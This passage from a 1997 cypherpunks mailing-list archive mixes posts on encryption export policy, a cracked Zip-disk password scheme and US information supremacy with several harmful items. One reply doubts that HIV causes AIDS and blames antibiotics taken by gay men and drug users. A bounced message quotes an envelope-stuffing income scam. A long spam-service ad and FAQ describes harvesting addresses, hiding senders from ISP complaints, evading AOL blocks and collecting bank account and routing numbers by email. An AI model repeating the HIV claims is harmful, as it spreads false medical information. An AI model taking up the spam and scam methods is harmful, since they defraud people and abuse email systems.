the remaining undesignated contributions should have been split
across the designees according to the original percentages declared
in the U.F. literature.  Anything else would be a farce.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Sat, 25 Jan 1997 07:32:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: HELLO
Message-ID: <19970125.102915.11966.4.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Is  ESDES  a good program?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 10:32:31 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm
In-Reply-To: <FPc41D32w165w@bwalk.dm.com>
Message-ID: <32EA5194.7A53@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Jim Choate <ravage@einstein.ssz.com> writes:

> [For the record, I have serious doubts whether the HIV virus causes AIDS.]

Both homosexual males and IV drug users are well known to take a lot
of antobiotics, which lowers the efficacy of the immune system enough
to allow most anything to happen, ultimately leading to auto-immune
problems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Sat, 25 Jan 1997 07:54:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_1.html
Message-ID: <199701251609.LAA28394@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
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    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
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   Friday January 24 10:08 AM EST 
   
US Senator Will Reintroduce Encryption Export Bill

   WASHINGTON - Sen. Conrad Burns will reintroduce next week his measure
   to substantially eliminate export restrictions on computer encoding
   technology, a spokesman for the Senator says.
   
   "We are aiming for the 28th (of January) and it will be the same bill
   as last year," Matt Raymond, spokesman for the Montana Republican,
   said.
   
   President Clinton signed an executive order in November slightly
   relaxing export controls on encryption technology -- computer programs
   that use mathematical formulas to scramble information and render it
   unreadable without a password or software "key."
   
   But many in Congress and the computer industry have said the new
   Clinton policy did not go far enough to lift the Cold War era export
   limits that classified most encryption programs as munitions.
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <MAILER-DAEMON@cts.com>
Date: Sat, 25 Jan 1997 11:21:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: mail failed, returning to sender
Message-ID: <m0voDfH-000YZFC@mailhub.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


|------------------------- Message log follows: -------------------------|
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X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Sat, 25 Jan 1997 13:21:12 -0600
To: pal@king.cts.com
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Extra Income
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER



>***********************************************************************
>Our Research Has Indicated That The Following
>Message Will Be Of Interest To You.
>***********************************************************************
>
>Imagine what you can do with...
>
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> Here's How To Get Started
>
>      Let me tell you which companies to contact so you can start to
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>
>      My name is Henry Summers. I investigate income opportunities
> that are advertised in magazines or by mail or are listed in home work
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>
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> me direct you to the best opportunities that are available today. Ones that
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>
> Get Paid For Stuffing Envelopes.
> No Fees. Nothing To Buy.
>
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> until after you send in your money.
>
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>
>       * You do not need to pay any fee or buy any materials to get started.
>       * You do not do any advertising or handle any orders.
>       * All printing, postage, and mailing lists are supplied free by
>          the companies that pay you.
>       * Your pay is based entirely on how many envelopes you complete.
>
>      Rosie Martinez is an example of someone who earns money stuffing
> envelopes. The company delivers all the materials right to her door.
> She stuffs the envelopes, seals them, and applies the mailing labels
> and postage stamps that are supplied. Then she gets paid for every
> envelope completed.
>
>      Rosie says, "I'm retired, and I enjoy having something to do.
>                          I usually watch television while I work. The
>                          home shopping  shows are much more fun now
>                          that I have money to spend."
>
>      If you'd like to do this kind of work, just follow the directions in
> Chapter 3 of my book "Real Home Income". Or try any of the other
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>
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>
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>
>      There are no qualifications to meet, so you will not be turned
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> more money, there are plenty of others you can try.
>
> Get Paid For Assembling Miniatures
>
>      Gina Walker of Texas likes to assemble miniature furniture for doll
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> All the necessary materials are supplied by the company that
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>
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>
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>
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>
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>
>How I Made $800.00 Per Week After Losing My Job
>
>     I became interested in home income opportunities several years
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>
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>
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>
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>
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>
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>
>Receive One Dollar For Each Envelope You Stuff.
>Envelopes Come To You Already Stamped And Addressed.
>
>     This easy work is advertised by over thirty- five companies. But
>they require that you pay $25.00 to $45.00 to register in their
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>
>     That's where my book can help out. I describe the three kinds of
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>
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>
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>
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>
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>
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>
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>
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>the book.
>
>Unlimited No Nonsense Guarantee
>
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>
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>possible. Please complete the order form and mail it today.
>Everything will be rushed to you by first class mail.
>
>
>                                                           Sincerely,
>                                                           Henry Summers
>
>     P.S. I've recently discovered an amazingly profitable
>            opportunity. One person I talked to made $20,000 in his
>            first six weeks... working right at home in his spare
>            time. It is not multi- level marketing. I've never seen
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>            to call so you can get started.
>
>
>
>                              Please Print and Mail This Order Form
>
----------------------------------------------------------------------------
-------------------
>   SUMMERS PUBLICATIONS                                      # 30516  
>   1010 Calle Cordillera, P.O. Box 3127
                        
>   San Clemente, CA 92672
                             
>
                                             
>             ( ) Yes, I would like to get started. Please rush me
                    
>                  "Real Home Income" under your lifetime money-
             
>                   back guarantee. Enclosed is $29.95 plus $3.00 for
                 
>                   postage and handling. $32.95 total. (If you live in
                  
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>
                                             
>        Name____________________________________________       
>
                                             
>       Address___________________________________________     
>                                                                      
>       City, State, Zip_____________________________________     
>
>
>---------------------------------------------------------------------------
----------------------
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 25 Jan 1997 08:43:58 -0800 (PST)
To: jer+@andrew.cmu.edu (Jeremiah A Blatz)
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701250958.BAA23622@toad.com>
Message-ID: <199701251640.LAA17410@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Paul Kocher announced that he has cracked it, and can recover data
quickly.  He is not publishing details of the break.

Adam


Jeremiah A Blatz wrote:
-- Start of PGP signed section.
| "David E. Smith" <dsmith@prairienet.org> writes:
| > 7.  Secure sensitive files.
| >      To keep sensitive or confidential information safe, store it
| >      on a Zip disk and use your Zip Tools software to assign a
| >      password that must be used in order to read from or write to
| >      the disk.  At work, you can protect sensitive information
| >      such as personnel files, company directories, and product
| >      plans and designs.  At home, you can secure personal
| >      information such as tax records, budgets, and computerized
| >      checkbooks.
| 
| FWIW (not much), Iomega claims that it can't recover the data on a
| password-protected disk. However, they do export those things, so I
| doubt it's strong.
| 
| Jer
| 
| "standing on top of the world/ never knew how you never could/ never knew
|  why you never could live/ innocent life that everyone did" -Wormhole
-- End of PGP signed section.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 25 Jan 1997 09:50:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Public Key Partners
Message-ID: <970125125001_1659050229@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Do you know of a way I can contact Public Key Partners by e-mail or phone?
Thanks.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 25 Jan 1997 11:17:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: US Info Supremacy
Message-ID: <1.5.4.32.19970125191205.006fe378@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>From Financial Times 26 January:

"Defence experts in both the US and western Europe
have commented recently that the US forces' lead in
information technology is growing to the point where
Washington may question the military usefulness of
allies."

Pointers to these comments would be appreciated.

Further, if the speculation of US supremacist go-it-alone
policy is correct, how might this affect:

1. US crypto export policy.

2. Crypto czar Aarons' role in promoting global GAK.

3. Other nation's suspicion of the US and its technological
prowess, caused, for example, by the NSA's avowed intention 
to surveil all the world's communcation, and if encrypted to 
crack it at any cost.

4. Increasing isolation of the US from foreign innovation 
and talent -- the imperialist incest decline.

5. The future of treaties such as US/UK/AUS, NATO, SEATO,
and the like for intel-sharing and crypto control.

Two observations:

One, last year's NRC crypto report said that strong crypto should not be 
a problem, and that other, unidentified, technologies should 
be supported instead to assure domestic and national security.

Two, the recent InfoWar-Defense report has been criticized as unduly
alarmist, because the US has sufficient means (Perry and others 
claim) to protect against information attacks. One NCSC commentator 
on talk.politics.crypto said that the IW-D techie panelists were out of 
touch, unlike Stewart Baker, a lawyer!

Hence, it might be worth considering that both the NRC report and
the IW-D reports are diversionary, disinformation to conceal US
true capabilities -- strengths and weaknesses. Moreover, the crypto 
debate itself might be diversionary from other more crucial information 
defense technology -- for surveilling, sifting, interpreting, analyzing, 
decrypting, mining and securely storing. As well as offensive means 
to counterattack US communications attackers.

Or, turning the matter one more time, perhaps crypto is in fact the heart 
of the national security problem and the avowed other, unidentified, more
crucial, technology is a sham to mislead about US and other government's
true weaknesses. The Commerce Control List is almost incoherent in
trying to definitively regulate advancing technology.

Paranoia may be increasing among governments due to the crypto debate
and related issues of information security, such that each may, like the
US is allegedly doing, retreating to within its own technological borders, while
at the same time engaging in PsyWar about threats, defenses and offenses.

Hello, Tim May and our other solons and Solomons.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:26:41 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: Add To Your Monthly Income!!
Message-ID: <19273401602854@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


 Enclosed is the information you requested from Quantum Communications
regarding bulk Email advertising services:

Contact Info: 
Quantum Communications 
6 Laurel Lane Stratham, NH 03885 
603-772-4096
603-772-7297 fax 
staff@quantcom.com (general email) 
sales@quantcom.com(sales) 
cusserv@quantcom.com (customer service)
http://www.quantcom.com

Quantum Communications
Proudly presents:
BULK E-MAIL ADVERTISING SERVICE!

Would you like to offer YOUR product or service to potential 
customers via E-mail?

Consider the advantages of sending your marketing letter ALONE or
Co-op to MILLIONS of persons directly via E-mail:
 + NO sharing of space in a cluttered publication
 + NO being buried amidst 100 other postcards in a card deck
 + NO wondering if your prospects will see/read your offer
 + NO having to fight for your prospect's attention
 + NO price-shopping, having your offering compared to others nearby it
 + EXTREMELY COST EFFECTIVE - as low as .009 cents per letter!!
 + Your piece/letter goes out ALONE or Co-op, depending on YOUR needs and
   budget
 + Everyone reads their Email!
 + NO need to wait for a publication date! We mail according to YOUR timetable, and all mail
   reaches the target within 1 day!

Bulk Email is the perfect way to reach new prospects! Our 
state-of-the-art servers and proprietary software allow us to 
send your offering to MILLIONS of fresh prospects. All names on our
list have been sent a test letter, enabling us to delete
undeliverables and persons who do not wish to receive unsolicited
Email advertisements. Therefore, all the prospects we send YOUR
offering to are responsive, quality prospects! As part of our standard
service package, we also provide the following:
 + An autoresponder,which allows a prospect to simply click reply and instantly receive a
complete package of detailed further information via Email from your
company (up to 20 pages in length!)
 + A unique Email address to which inquiries for your offering are forwarded, allowing you to build up
your own database of hot prospects.
 + Complete design/copy assistance based on your goals and objectives

We offer a service package designed to fit every need and budget!
Choose either General Bulk (your letter sent ALONE),
 Co-op Bulk (your ad sent with  others),
 or Targeted Bulk (custom-built lists to YOUR specs).

Consider the benefits of using Quantum Communications for sending your bulk
email advertising:

 * Highest quality list of hot prospects!
 * Largest database (over 5 million, mostly online service members, NOT
newsgroup posters)!
 * Lowest rates in the industry!
 * FREE features included such as autoresponders, email forwarding, and copy design
assistance!
 * No-Nonsense response rate guarantee!
 * 100% approved FINANCING. No one turned down!
 * Top-notch customer service. The best in the industry, as our references will confirm!
 * Targeted lists available, custom built for YOUR project!

Rate Card:
___________________________________________________
Bulk Email Advertising Service
Stand Alone Ad, up to 40 lines of text:

$299 per 100,000, in even lots of 100,000
____________________________________________________
Co-Op Bulk Email Advertising Service
THE "MEGA-MAILER"
Sent to our full database of 5 million hot prospects!
Sent with other ads, 

up to 5 lines of text: $599
6-10 lines of text: $849

lines are 70 characters (spaces count) long

number of pieces		5 MILLION       
_____________________________________________________
Targeted Bulk Email 
Stand Alone Ad, up to 40 lines of text:

under  10,000                               9.0 cents per piece
10,000 to 25,000                          8.5 cents per piece
25,000 to 50,000                          8 cents per piece
over 50,000                                  7.5 cents per piece

*Contact us with areas to target and we will quote
   you a price.  
______________________________________________________
PAYMENT TERMS: 
10 % Prepay Discount for 100% pre-pay OR
FINANCING- NO Credit check. ALL APPROVED!
50% down, balance broken up into 2 equal monthly installments.
EFT only ( drawn on US bank account ) for financing.

_____________________________________________________
No-Nonsense Response Rate Guarantee:

There are many scams alive on the Internet.
Although the Net represents the greatest opportunity for a business to
expand and grow that has ever existed, dozens of "snake-oil" purveyers
prey on such businesspeople daily.

 Bulk Email Advertising is, in effect, the grass-roots basis at the
 foundation of all Net
advertising.
 It is effective, economical, fast, relatively inexpensive
(in comparison with other media, sometimes almost ridiculously so); in
short - it works! The only glitch with this new advertising media is
the con artists, as we have mentioned.

 Quantum Communications is committed
to providing a quality service to advertisers at a reasonable price.
No, we do not offer to supposedly send out a billion email ads for
$39. No legitimate company can afford to promise that AND actually do
it. Unfortunately, by the time most advertisers find that out, they
have lost their money. We believe, instead, in guaranteeing our
responses at a minimum level so each and every advertiser can rest
assured that their money is well spent. We guarantee the following
minimum responses to your advertising piece. If the responses do not
reach the minimum amount, we will continue to include your piece in
our co-op (if it was a co-op), or we will continue to mail the piece
by itself, in sufficient amounts until the minimum responses are
reached. These replies are only the POSITIVE responses and inquiries.
Flames or negative replies, etc. are filtered by us, and you never see
them! (they of course are NOT counted towards your minimum response
guarantee).

 Minimum Responses:
 General Bulk Email: 100 replies per 200k pieces sent

"MEGA-MAILER"  Co-Op Bulk Email:  200 replies

Targeted Bulk Email: 150 replies per 5,000 pieces sent (3.%!)

 As you will notice, this fixes the MAXIMUM cost PER REPLY at $2-3.
 Knowing how much each reply will cost you AT THE MOST allows you to
 plan your marketing budget and plan for success!

This also causes us to take extra care when helping to examine your ad
copy and suggest any revisions. Professional ad copy design is
available for a surcharge of $80 per hour.
 We have a stake in making sure you succeed! We
have many references who will vouch for our resolve and character as a
company. Please feel free to call and speak with them. Also, feel free
to either email us ( staff@quantcom.com) or call our offices at (603)
772-4096 and speak with us at any time Mon-Fri, 9AM to 7PM EST

PAYMENT FOR SERVICES:
We accept personal and business checks and money orders. We DO NOT
accept credit cards at this time. If you would like to utilize your
credit card, we recommend you get a cash advance from the card and
deposit the funds into your personal or business chec

IMPORTANT NOTE:
All payments remitted must be in U.S. funds, drawn on a U.S. bank.
EFT's must be drawn on an account in a U.S. bank. International
customers outside the U.S. may either send an international bank money
order (cashiers/bank cheque) drawn on their bank in U.S. dollars (by
postal mail/overnight mail), or may have funds wired directly to our
U.S. bank account. Email or call

TO PLACE AN ORDER:
Please make sure and include all of the information listed below, plus
your ad copy (unless you are requesting we design it for you) and
autoresponder copy, if needed (again, unless we are designing it for
you). You may  place an order in one of four ways:

1) Call our sales dept at (603) 772-4096. One of our sales reps will
be happy to assist you, answer your questions, and help you get
started.

2) Email us your phone # and best time to call, and one of our
representatives will call you.

3) Send us an email with the following information included. Be sure
and include ALL information. If anything is unclear, please feel free
to email us (staff@quantcom.com) or call our sales dept. Also be sure
and include ad copy and autoresponder copy, in

4) Print out the following "Needed information" form, and fill it out.
Then fax it to us at 603-772-4096, or send it via postal (snail) mail
to: Quantum Communications, 6 Laurel Lane , Stratham, NH, 03885
(optionally, you may include a regular check/money order.

Your Email advertising will be sent within 10 business days. We can
handle staggered or variable send schedules but in all cases require
10 days lead time. You will be sent a copy of your mailing when it is
sent so you will know that it has been sent.

Needed information for  Processing of ad form order via email/fax:
Name: Contact: Postal Address: City,State,Zip: Voice Phone #: Fax
Phone #: Email Address: Services Ordered: (General Bulk / Targeted
Bulk / MEGA-MAILER) How many recipients? Do you need us to design ad
copy? (y/n)
 * If yes, there is an $80 surcharge for professional ad copy design,
 plus $80 per hour for autoresponse copy design
Total Price:
Referred by:
Do you need an autoresponder?
Do you have a preference of email alias? (whatyouwant@quantcom.com)

*** Make sure Ad Copy and Autoresponder copy are included or
attached***

Before filling out the payment info, please decide how you  will be
addressing the payment terms. See the section above on prices for
available terms.

Payment Info:
The following information is all located on the face of your check.
Please realize that providing the information electronically is no
different than sending a paper check. When a paper check is sent, all
the same account numbers are visible. 
Account name: 
Bank Name,City,& State:
Amount:$ 
Check #: 
Authorized Signature: 
Transit #:
(also referred to as the ABA routing number, this is the group of
numbers which is usually in the lower left portion of the check and is
enclosed in funny looking brackets that look like this |: The number
is exactly 9 digits long.)
 Account # :
(Another group of
numbers on the bottom edge of the check, should be the rest of the
numbers there besides the transit #. The check # should be part of
this grouping also. )

*** If you have any questions about
which numbers are which, simply call your bank and ask them what your
account # and transit # (or ABA routing #) are.***  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:28:43 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: Add To Your Monthly Income!!
Message-ID: <19273486702855@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Quantum Communications
Frequently Asked Questions (FAQ)
Direct Email Marketing

Contents:
1) What are your minimum orders?
2) Why can't I just do mailings myself?
3) What about Floodgate and other similar software mailing programs?
4) What if I have my own list?
5) What about the other Email Advertising companies?
6) What is the legal status of Email Advertising?
7) What about blocking by AOL?
8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
9) What is an "autoresponder"?
10) What about ad copy design?
11) What about proof-of-mailing?
12) What is the "response rate guarantee"? How does it work?
13) What is your mail sending capacity?
14) What is the average lead time before my ad can be sent?
15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
16) What categories are available for targeted lists?
17) Do you have sub-agent opportunities?
18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
19) What about undeliverables?
20) Contact Info

1) What are your minimum orders?
Our minimum orders are 5,000 pieces for targeted mailings (in even lots of 5,000), 100,000 pieces for stand-alone bulk mailings (in even lots of 100,000), and 5 MILLION for the MEGA-MAILER co-op mailing (the full 5 million is the only size). As long as y
our order is for at least  the minimum amount of pieces, and in even lot sizes, you may stagger the actual sendings any way you wish (50,000 per week, etc.). Note, however, that the MEGA-MAILER is only sent once per week and is sent to the full 5 million
 address list. The reason we have minimums at all is due to the fact that the majority of our cost in terms of man-hours comes as a result of setting up a mailing, and so we cannot spend the time and money to setup too small a job.

2) Why can't I just do mailings myself?
Technically, you can. For practical purposes, you can't. There are three reasons why it is implausible to even attempt to do your own Email Advertising:
  1) Every single internet service provider on the planet will shut down your account. You will not even get 1000 pieces of mail out, and you will be shut down, because some uptight, self-appointed net-cops will complain to your provider. Do not kid your
self. It WILL happen. Sending unsolicited commercial Email of any type is a violation of virtually every ISP's Terms of Service. Even if your ISP tells you it's OK (which will not happen 99% of the time), they will very quickly change their tune after th
eir technical people receive a mailbox full of angry mail (commonly referred to as flames). When your account is cancelled, you will NOT get a refund, and, worse yet, you won't even be able to retrieve your replies! 
  2) A very large technical capacity is required to send bulk Email. You MIGHT be able to send 5,000 or so pieces of mail per hour, with a 28.8 modem, except that with dial-up internet connections, there are always dropped connections and so you can neve
r be sure your mail went out unless you constantly sit and monitor the mailings all day and night, and send very small pieces at a time.
  3) In order to have a list of addresses to send to, you have two choices: either spend months collecting names, or purchase an over-used list from a list vendor, who has sold the same list to dozens of others, who will bomb the list into uselessness. I
n addition, most lists are so old that the names are 40% undeliverable, or from newsgroups, which are the WORST kinds of people to solicit. 
These three factors make it a practical impossibility to actually do your own bulk Email advertising, even though the vendors of the bulk Email software will not tell you this. The reason we do not have these hassles is because Quantum Communications IS 
OUR OWN INTERNET PROVIDER. We do not purchase service from anyone, and Email advertising is our only business! We have our own in-house servers, high-speed T-1 connections to the Internet, and full-time technical and customer service staff, yet our only 
customers are advertisers! Our lists are constantly maintained, updated, and cleansed, and are ONLY from high-quality sources. We DO NOT sell our names, or let anyone see them. See Question 18 for more on our lists. 

3) What about Floodgate and other similar software mailing programs?
Those programs can actually be fairly useful for extracting Email addresses and if you would like to build your own lists to your own specifications, that is an option (See Question 4 "What if I have my own list?"). However, building mailing lists is an 
EXTREMELY time-consuming and monotonous task, not to mention expensive in on-line charges. In addition, having these software programs will not help in the least in the sending issues you need to consider (See Question #2, above). We handle all aspects o
f the mailing process, leaving you free to concentrate on your business!

4) What if I have my own list?
We are fully able to use your list and send your mail to it. The price is 50% of what it would normally be. We simply have you Email or ftp your list to us, with ad copy (and autoresponse copy, if necessary).

5) What about the other Email Advertising companies?
There is some competition in  Direct Email marketing for your advertising dollar, and we have never purported to be the cheapest. We simply are the best. Most of the other "cheapo" companies who claim to offer a zillion pieces sent for $39, or some simil
ar lowball deal, are quite frankly, scams. No legitimate company can afford all of the hardware, software, and personnel that a true advertising company like ours posesses, without charging a reasonable fee for providing of the service. Most of the low-r
ent Email marketing companies are here-today, gone tomorrow. Perhaps gone with your money. Almost certainly gone without providing the actual service you paid for. Many of them look great until you investigate them further. Try calling them and getting a
 real live person on the phone. Or try asking them some of the questions referred to in this document. Most will disappear when you start asking serious questions. Or try asking for references. Good luck. There are so many fly-by night operators and snak
e-oil salesmen on the 'net, it is hard to know what to believe. But the basic truths in business hold true. You should be able to call and get a live person on the phone, you should be able to check references and ask pointed questions, you should have a
ccess to customer service and technical support, and you should be able to get a clear understanding of who you are dealing with, and how they do business. One mailing with us and you will be convinced that we truly are the cadillac of the industry.

6) What is the legal status of Email Advertising?
Direct Email Advertising and solicitation is legal. It always has been. There are many self-styled legal eagles who dislike Email solicitation, and they will sometimes misquote federal statutes which apply to sending of unsolicited FAXES. There has never
 been a higher-court ruling supporting this supposed link between Email and unsolicited FAX.
It is highly unlikely that such a ruling will EVER occur. If it does, we of course will need to adjust our business practices  to stay in accordance with the law. However, at the present time, and for the foreseeable future in our opinion, Email solicita
tion is just as legal as postal mail solicitation. The only real negative point which anti-Email advertising people address is that SOME people pay for their connect time at a timed/metered rate. Thus, the milliseconds which it takes to download an unsol
icited piece of mail does cost the recipient (albeit tiny fractions of a penny). However, almost all ISP's (even America Online) have moved, or will be forced by competition to move, to an unlimited time rate structure. Therefore, this will no longer be 
an issue, and the persons who oppose Email advertising will have no legs to stand on. As this happens, Email advertising will become exactly like postal mail solicitation ( it is actually LESS intrusive than postal  junk mail), and therefore we believe i
t will NOT be regulated or legislated against.
 As a side note, we do provide a very clear, brief disclaimer at the header of ALL of our mailings which gives quick, simple removal instructions for persons who do not want to be on our lists. We act on all such requests immediately. In fact, it is an a
utomated process. We do not want to be sending mail to unwilling recipients any more than they wish to receive it.

7) What about blocking by AOL?
America Online has recently taken to blocking Email solicitations to it's members by certain Email Advertising companies. These companies are the ones who had been abusing their power, and had in fact been over-mailing (sending multiple pieces to the sam
e recipients PER DAY). The most well-known of these companies was Cyber-Promotions. We feel that since we only send mail no more than 3 times per week to any single recipient, AOL is unlikely to begin blocking our transmissions. We also could take counte
rmeasures technically and send to them again if necessary. However, our list only consists of about 25% AOL members, and that percentage is shrinking, as most of our newer names are coming from indepedent ISP sources (see Question # 18), so a blockage, w
hile unlikely, would not affect us in the least in any event. Incidentally, we find it interesting that AOL does not apparently mind soliciting it's members (one cannot be online with them without getting at least 3 pop-up ads PER SESSION), they simply d
on't want others soliciting their members without compensating THEM.

8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
Flames are the hate mail which is a part of Email soliciting today. Flame filtering is the automated filtering process we use to ensure that replies forwarded to you (by us) are only positive, serious inquiries, requests for information, orders, etc. We 
assign customers an Email alias at OUR domain. We are the only ones who know your REAL Email address. We then have all replies to your advertising sent to the alias we have assigned you so that we can filter out flames, then forward the "good" replies to
 you. No one can complain to your ISP, because as far as anyone knows, WE are your ISP (and we of course will not pay any attention, except to promptly remove them from our lists). In this way, you are totally insulated and protected, while still getting
 all "good" replies! Good replies are forwarded to you automatically as they come in. There is NO lag time or waiting.

9) What is an "autoresponder"?
An Autoresponder is just an Email alias which we can have prospects who see your advertising respond to. When the response hits the autoresponder, it kicks back an automatic text file reply via Email, which is typically a more detailed package of informa
tion (up to 20 pages)  regarding your product or service. This effectively helps you weed out the "tire-kickers", so you are free to concentrate on fulfilling orders and more serious requests. A typical procedure is for a small "teaser" ad to be sent, wi
th an autoresponder as the reply-to address. In the autoresponse text, you would typically include another Email alias for orders or more serious or specific questions.

10) What about ad copy design?
We do have a copy editor on staff who is available to either write your copy from scratch or revise existing copy you already have. This is usually a wise investment, because the copy can be reused many times in different mailings, it will be done by a s
easoned professional with over 10 years of experience in copywriting, and the actual copy is more than anything the key difference between success and failure when doing an Email marketing campaign. Think about it. Email is text only. No graphics, no mov
ing pictures, sounds or colors. The content is all-important.
 Charges are $80 per hour, with typical costs being 1/2 hour for a revision, 1 hour for a small ad design, and 3 or more hours for design of ad copy plus autoresponse copy.

11) What about proof-of-mailing?
When sending mail via the US Postal Service, a proof of mailing receipt is provided. There is no such counterpart in the world of Email. Although you will receive confirmation of your mailing once it is sent, the best way to become comfortable with deali
ng with us is by first talking with our references, then by doing a single mailing to see what we can do for you. Once you have done business with us you will agree that we deliver exactly what we promise. Our minimum response rate guarantee is further e
vidence of this, and renders the question of a proof of mailing as somewhat moot. We do actually have a log of all sent mail which is generated by our mailing software, but we only disclose the log under extenuating circumstances, and for a fee of $50 pe
r 100,000 pieces sent, as it lists every mail sent, which discloses our list.

12) What is the "response rate guarantee"? How does it work?
Our unique "response rate guarantee" is a clear indication of not only our rock-solid commitment to each and every advertiser, but also of our belief in direct Email advertising as a marketing medium. We know of no other advertising agency (Email or othe
rwise) who actually GUARANTEES a minimum number of responses. Our guarantee is the following:
  1) If you do not receive AT LEAST the minimum guaranteed responses from your Email Advertising, we will send on your behalf again, and again, and again..until you get the minimum amount!
  2) You must allow 10 business days from the date your mailing was completed and you received confirmation, before requesting a remailing.
  3) Of course, only positive, interested replies are counted towards your guaranteed minimum.
  4) For this guarantee to apply, we must be able to verify the amount of replies you receive, so your ad must direct interested persons to an autoresponder or Email alias which we provide.
  5) Any remailings are done on the same scale and amount as the original mailing, but to different recipients (except for the MEGA-MAILER or targeted lists)).
  6) You must request a remailing by sending an Email to our customer service department, or by calling our office (ask to speak to customer service). We do not monitor replies automatically and automatically resend.
  7) You may, at no charge, alter your original advertisement in any way you wish, as long as it is the same type of mailing as the original (targeted must be to the same group), and the same length as paid for in the original. Optionally, you may have t
he ad revised professionally by us (See Question # 10). 
The Minimum responses guaranteed are as follows. We have had to make the numbers guaranteed purposefully low, because we extend this guarantee to ALL advertisers, regardless of whether or not they have effective ad copy or an appealing product or service
. We of course strive for much higher responses for everyone, but is helpful to know that there is a "safety net", just in case.
MINIMUMS:
GENERAL STAND-ALONE BULK: 100 REPLIES PER 200,000 PIECES SENT
TARGETED BULK: 150 REPLIES PER 5,000 PIECES SENT
MEGA-MAILER: 200 REPLIES
This allows advertisers to plan on a maximum cost per inquiry, which can be essential when planning a marketing budget. This guarantee, more than any other single factor, shows that Quantum Communications is a cut above the rest in the world of Marketing
 and Advertising!

13) What is your mail sending capacity?
We have the technical capacity to send over 2 million pieces of mail per day. We have invested heavily in hardware, software, and high-speed mail transmission facilities to be able to achieve this capacity. We can handle your job, large or small. 

14) What is the average lead time before my ad can be sent?
The current lead time is 7-10 business days. This allows time for your ad copy to be submitted and for any revisions you may have before the mailing date. We actually work very hard to keep the lead times to a minimum, however, there has been a very high
 demand for Email advertising services, and it has been difficult just keeping up. If you have a special need to expedite an order, call or Email our customer service department, and we will make every effort to accomodate you.

15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
This depends entirely on your product or service. If you have a product or service which has a broad-based appeal, it is definetely better to send to a larger group of people. If you have an offering which you think needs 20-30 lines to entice people or 
grab their interest, then you need a stand-alone (the MEGA-MAILER is not for you). If you are announcing a website and just want mass exposure to 5 MILLION people, the MEGA-MAILER is just the thing. Of course, if you are trying to reach a select group, y
ou need to have a targeted mailing. You may Email or call our sales department and a sales representative will be happy to assist you in selecting the right type of mailing to suit your offering.

16) What categories are available for targeted lists?
We custom build all of our targeted lists from scratch, and 90% of our targeted lists are never re-used. We are able to build a custom-designed list to YOUR specifications. So, in other words, you tell US what the category is, or the demographics of the 
persons or businesses you are trying to reach. We then get an estimate from our List staff for approximately how many names we will commit to being able to find. Our sales staff will work with you on this issue. Of course, it is always a much lower volum
e of names than a normal bulk list, but we have seen response rates of over 5% when mailing a targeted group!

17) Do you have sub-agent opportunities?
Yes we do.
We are currently accepting sub-agents who wish to promote and re-sell our services, or simply send us referrals.
For a copy of our agent registration kit via Email, send an Email to agent@quantcom.com

18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
Our Lists department is continually extracting fresh names for our lists from many sources. The sources include the membership directories of all the major online services (AOL, Compuserve, Prodigy, Delphi, MSN), plus the "white pages" Email databases su
ch as 411, IAF, etc. We NEVER extract names from newsgroups, except to build targeted lists. We NEVER send mail to Listserv's, .edu's, .gov's, etc. We automatically delete removal requests immediately, as well as undeliverables. We add 400,000 to 800,000
 fresh addresses each week. For these reasons, we feel that we have a super-high quality database, which consists of over 6 MILLION addresses. This high list quality is another feature of our service, and boosts response rates dramatically over our compe
